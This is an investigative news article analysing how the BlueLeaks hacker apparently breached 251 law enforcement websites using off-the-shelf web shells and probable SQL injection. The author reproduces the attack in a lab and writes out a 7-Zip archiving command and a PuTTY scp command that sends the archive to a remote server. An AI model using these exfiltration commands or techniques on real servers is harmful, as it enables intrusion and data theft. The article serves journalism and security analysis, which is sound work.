Whoever broke into 251 law enforcement websites and obtained the BlueLeaks trove of documents appears to have reused decades-old software for opening “backdoors” in web servers.
The use of the widely available backdoors provides evidence that the hacktivist who compromised the sensitive sites, including fusion centers linked to federal agencies, didn’t need to use sophisticated digital attack methods because the sites were not very secure.
The backdoors appear among files in the roughly 270-gigabyte BlueLeaks dump but seem to originate not from law enforcement entities, like most of the documents, but from the hacker, who appears to have left behind a few tools in the leaked data. Other leaked files provide further clues about how the hacktivist operated.
Two of the files are a type of malware known as “web shells”: malicious files that, when placed on a server, provide an online entry point through which a hacker can download and upload files or issue commands of their choosing. These backdoors appear with BlueLeaks material obtained from the website of the Arizona High Intensity Drug Trafficking Area, which is basically Arizona’s fusion center for the drug war. One is called “ntdaddy.aspx” and the other is “blug.aspx.” Their presence has implications for all the affected sites, which were operated by the same company and appear to have run the same software.
Two other files appear to have aided the exfiltration of documents from the servers. The Arizona HIDTA files included a copy of a program for securely transferring files across the internet, which could have been used to move files onto a computer controlled by the hacker. Files for another site, ICEFISHX, Minnesota’s police fusion center, included a copy of a program for compressing files, which would make it much faster for the hacker to upload hundreds of gigabytes of data to their own computer.
All four of the files appear to be circumstantially linked to the hacker through their digital time stamps, which indicate they were created the evening of Saturday, June 6 —making them among the most recent data released in BlueLeaks. Basically, this time likely corresponds to the moments before the hacktivist exfiltrated the data for this leak.
The files do not provide any information about the identity of the hacker, how the hacker protected their anonymity, what infrastructure they used to exfiltrate data, or what vulnerability they exploited to initially hack these websites. But they do indicate that, instead of developing custom malware, the hacker pulled off-the-shelf software easily available to anyone online and that anti-virus software flags as malicious.
The Arizona HIDTA and Minnesota ICEFISHX websites, as well as the rest of the hacked websites included in BlueLeaks, were built and hosted by the Texas web development firm Netsential. They all run the same web application, hosted on Microsoft’s Windows operating system; on Microsoft’s web server, Internet Information Services, or IIS; and on a Microsoft web programming framework, ASP.NET.
The web app’s data is also stored using Microsoft software, in a database system known as Access. For ICEFISHX, data lived in the file “icefishx.mdb” on its server. The database included information about 6,120 registered users, the content of 3,151 bulk emails that the fusion center sent out, as well as metadata about hundreds of documents. Arizona HIDTA’s data was in a file called ”azhidta.mdb” and, among other things, included metadata describing thousands of items like laptops, furniture, and surveillance body wires in the HIDTA’s inventory.
According to historical domain name records, on July 17, almost a month after the hack was made public, Arizona HIDTA migrated their website away from Netsential’s Houston server and into the website hosting service Squarespace. ICEFISHX still uses Netsential’s web application. (Netsential stated on its website that it was not responding to requests for comment from the press. It did not respond to a message from The Intercept.)
There is no legitimate reason for the “ntdaddy.aspx” and “blug.aspx” web shells to exist among Arizona HIDTA’s files — these were definitely traces left over from a hack — but it’s not clear exactly how they got onto the server to begin with. What was the initial attack vector used to compromise the server? I couldn’t find any direct evidence; there’s no mention of “ntdaddy” in log files, for example. But my best guess is that the hacker added the web shells using a type of web hacking called “SQL injection,” in which an attacker is able to modify the instructions sent to the database powering a website.
The Open Web Application Security Project, a nonprofit dedicated to improving the security of web software, puts injection attacks at the top of its list of security risks for web applications. SQL, short for Structured Query Language, is used by programmers to read and update many types of databases, including the Microsoft Access databases used by all of the hacked websites in the BlueLeaks dump. A SQL injection attack is when a hacker is able to “inject” their own SQL code inside a query, tricking the database into responding with different information or different actions than the website programmer intended. This is typically accomplished by visiting a maliciously devised web address or submitting specially crafted information into a web form and exploiting a flaw in how the website creates SQL queries to obtain particular information on behalf of particular users. On a badly configured web server, it would be possible (using the Access SQL query SELECT.INTO) for a hacker who has discovered a SQL injection vulnerability to create new files on the server and fill them with whatever information they want, such as code that makes up a web shell.
The best way to write software that isn’t vulnerable to SQL injection is to use a technique called prepared statements. Based on my analysis of the web app’s source code, Netsential’s web app (as it existed in the leaked files) does not use this technique. With prepared statements, the programmer narrowly determines ahead of time which part of a SQL query will change in response to the user and which part will always remain the same. Instead, the Arizona HIDTA’s website source code, as well as the code from the rest of the hacked website in BlueLeaks, builds its SQL queries in an insecure way: only trying to mitigate SQL injection using a poorly implemented and error-prone technique known as “escaping,” which attempts to essentially neutralize malicious user input before using that input to build SQL queries. Another best practice is to use a “safe API” for interfacing with the database. Netsential’s web app doesn’t appear to do this either; every time it needs to interface with the database, the code executes a SQL query directly.
Because of this, it’s likely that Netsential’s web app has SQL injection vulnerabilities. To be clear, I haven’t discovered any myself. But the fact that the web app uses such bad security practices around SQL, and that I counted 1,931 places in the code where a SQL query gets executed, I think that it’s probable that mistakes were made in at least some of these places.
And, unless Netsential has fixed these potential vulnerabilities since the BlueLeaks data was made public and pushed updates to all of the websites still running its code, it’s likely that these law enforcement websites, including major police fusion centers in use today, are still vulnerable to SQL injection.
I wanted to see what these web shells could do, so I set up a Windows virtual machine, installed an IIS web server, and copied both the ntdaddy.aspx and blug.aspx files from the Arizona HIDTA website into it. I also disabled the built-in Windows virus and threat protection; otherwise, Windows blocks both of these web shells from executing.
The “NTDaddy” web shell was first developed at least 18 years ago by a hacker named “obzerve” who worked with the hacker group fux0r inc. It’s widely available, including in this GitHub repository containing a collection of web malware. If you scan the ntdaddy.aspx file on VirusTotal, 36 out of 59 anti-virus programs flag it as malicious, generally classifying it as a web server backdoor.
But while testing out this web shell, I hit a problem. NTDaddy was coded in a language called classic ASP, Microsoft’s first server-side scripting language from 1996. Classic ASP files end in “.asp,” like ntdaddy.asp. In 2002, Microsoft released a more modern web application framework called ASP.NET, making classic ASP obsolete. ASP.NET files end in “.aspx,” like ntdaddy.aspx. Even though NTDaddy was coded in classic ASP, its filename on the Arizona HIDTA website used an ASP.NET filename: ntdaddy.aspx.
When I load ntdaddy.aspx in a browser, it responds with an error, which is to be expected because it’s trying to run a classic ASP code as if it were ASP.NET code.
It’s likely that the Arizona HIDTA’s IIS server wasn’t configured to execute classic ASP code at all, that this web shell simply didn’t work, and that the hacker didn’t bother deleting this file.
If I rename the file to ntdaddy.asp and load it in a browser, I can then explore the files on the server, upload new files, or issue commands:
The blug.aspx file contained a web shell simply called “ASPX Shell,” developed in 2007 by a hacker called “LT” — only the version on Arizona HIDTA’s website didn’t include the comment at the top of the file that gives LT credit, and lists the 2007 date.
Like NTDaddy, ASPX Shell is widely available and can be found in that GitHub repository. If you scan blug.aspx in VirusTotal, 15 out of 59 anti-virus programs flag it as malicious, generally classifying it as a web server backdoor.
But unlike NTDaddy, ASPX Shell works much better because it uses ASP.NET, not classic ASP (the malware itself was written in the C# programming language). It allows you to browse the file system, upload files, and run commands as if you were sitting in front of the Windows server with a command prompt open. Basically, it allows you to do anything that the IIS user on the Windows server has permission to do, including access all of the data related to the website.
However, when I try uploading a file to the folder where website files are stored (in my case, C:\inetpub\wwwdata), I get an unauthorized access error; perhaps my IIS server in Windows 10 Pro is more securely configured than Netsential’s servers. To more accurately replicate the Netsential servers, I reduced the permissions on that folder to allow my IIS user to save new files there.
In addition to the web shells, two open-source Windows tools were included with the BlueLeaks files, both with June 6 time stamps:
Using ASPX Shell, a hacker could run 7-Zip to compress all of the data they wished to exfiltrate, and then use PuTTY to copy it to a remote server controlled by the hacker.
So I decided to try this. In my first attempt at running 7z.exe, it gave me an error message saying that the file 7z.dll was missing. Possibly, the hacker uploaded this DLL file as well, but for whatever reason did not end up including it in the BlueLeaks data. So I downloaded a fresh copy of 7-Zip and grabbed the version of 7z.exe and 7z.dll from there. Then, I ran this command in my web shell:
7z.exe a police_data.7z c:\inetpub
This uses 7-Zip to create a new archive called police_data.7z, and it adds all of the files in the C:\inetpub folder to that archive.
Now that I’ve created police_data.7z, I could just download the archive using my web browser. But instead I decided to try using PuTTY to exfiltrate the data to a remote server, which is what I’m guessing the BlueLeaks hacktivist did.
I created a new cloud server running Debian GNU/Linux with the IP address 220.127.116.11, and on that server I created a new user called “exfiltrator” with the password “89qzR2Y8KbFj”. Then, in ASPX Shell, (after a bit of troubleshooting) I ran this command:
pscp64.exe -batch -hostkey 05:d3:9a:ce:59:e6:28:e4:17:2c:da:69:22:53:04:14 -pw 89qzR2Y8KbFj police_data.7z [email protected]:police_data.7z
This uses PuTTY’s secure copy (SCP) program to copy the police_data.7z file to my Debian server. The command includes the username, password, and IP address of my server. After running this command, a copy of the file was exfiltrated to my server. (I’ve already deleted that cloud server, in case you get any ideas.)
To recap, here’s how I believe these websites were hacked:
To be clear, I’m not sure that this is what the BlueLeaks hacker actually did or not. I have no inside knowledge; this is just my best guess based on the available evidence.
And because all of these websites run Netsential’s custom, insecure web app code, this process would likely be the same to hack any of them. In fact, it could even be automated to save time, allowing the hacker to compromise all 251 websites and exfiltrate all of the data from them in a single Saturday evening.
For the record: I’m an adviser for DDoSecrets, the transparency collective that received the BlueLeaks data — from a source identifying with the hacktivist collective Anonymous — and then published it.